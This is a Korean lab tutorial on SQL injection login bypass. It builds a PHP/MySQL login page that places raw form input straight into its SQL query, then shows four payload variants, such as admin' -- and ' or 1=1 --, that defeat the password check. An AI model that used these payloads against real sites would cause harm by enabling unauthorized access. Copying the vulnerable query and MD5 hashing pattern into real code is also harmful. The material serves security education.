인증 우회 공격 실습
※ 실습하기 전 로그인 사이트 제작
//login.php
<?
@session_start();
header("Content-Type: text/html; charset=UTF-8;");
?>
<h3>로그인 페이지</h3>
<form action='loginAction.php' method="POST">
<li>ID : <input type="text" name="id"></li>
<li>PW : <input type="password" name="pw"></li>
<input type="submit" value="login">
</form>
//logout.php
<?
@session_start();
unset($_SESSION["id"]);
session_destroy();
echo "<script>location.href='login.php'</script>"
?>
//index.php
<?
@session_start();
header("Content-Type: text/html; charset=UTF-8;");
if(empty($_SESSION["id"])){
echo "<script>alert('로그인 후 접근이 가능합니다.');location.href='login.php';</script>";
exit();
}
?>
<h3>회원 전용 페이지 입니다.</h3>
<p><?=$_SESSION["id"]?>님 반갑습니다.</p>
<input type="button" onclick="location.href='logout.php'" value="logout">
//loginAction.php
<?
@session_start();
header("Content-Type: text/html; charset=UTF-8;");
$db_conn = new mysqli("localhost", "root", "/*mysql 비밀번호*/", "login_example");
$id = $_POST["id"];
$pw = md5($_POST["pw"]);
$query = "select * from member where id='{$id}' and pw='{$pw}'";
$tmp = $db_conn->query($query);
$cnt = $tmp->num_rows;
$user = $tmp->fetch_assoc();
if($cnt == 0){
echo "<script>alert('아이디 혹은 패스워드가 잘못되었습니다.');history.back(-1)</script>";
exit();
}
$_SESSION["id"] = $user["id"];
echo "<script>location.href='index.php';</script>"
?>
명령 프롬프트 cmd |
mysql -u root -p create database login_example; use login_example; create table member(id varchar(20), pw varchar(60)); insert into member values('admin', md5('admin123')); insert into member values('guest', md5('guest')); select * from member; +--------+---------------------------------+ | id | pw | +--------+---------------------------------+ | admin | ************************** | | guest | ************************** | +--------+---------------------------------+ |
※ 실습
1. 계정 ID를 알고, In-line-Query
2. 계정 ID를 알고, Terminating-Query
3. 계정 ID를 모르고, In-line-Query
4. 계정 ID를 모르고, Terminating-Query
원본 쿼리: select * from member where id='{$id}' and pw='{$pw}'
예시1(id, in-line)
id='admin' or '' and pw =''
'' and pw ='' | 거짓 and 거짓 = 거짓 |
id='admin' or ('' and pw ='') | 참 or 거짓 = 참 |
예시2(id, terminating)
id='admin' -- ' and pw=''
* id='admin'[공백]--[공백]' and pw=''
-- 주석 사이에 공백이 있어야된다.
예시3(id x, in-line)
'1'='1' and pw='' | 참 and 거짓 = 거짓 |
1=1 or ('1'='1' and pw='') | 참 or 거짓 = 참 |
id='' or (1=1 or '1'='1' and pw='') | 거짓 or 참 = 참 |
예시4(id x, terminating)
id='' or 1=1 -- ' and pw=''
예시2와 마찬가지로 공백!
#주의할 점?
예시3, 4와 같이 계정 ID를 모를경우에 조회했을 때 왜 admin이 출력될까?
+--------+---------------------------------+
| id | pw |
+--------+---------------------------------+
| admin | ************************** |
| guest | ************************** |
+--------+---------------------------------+
admin이 첫번째 행에 있어서 ~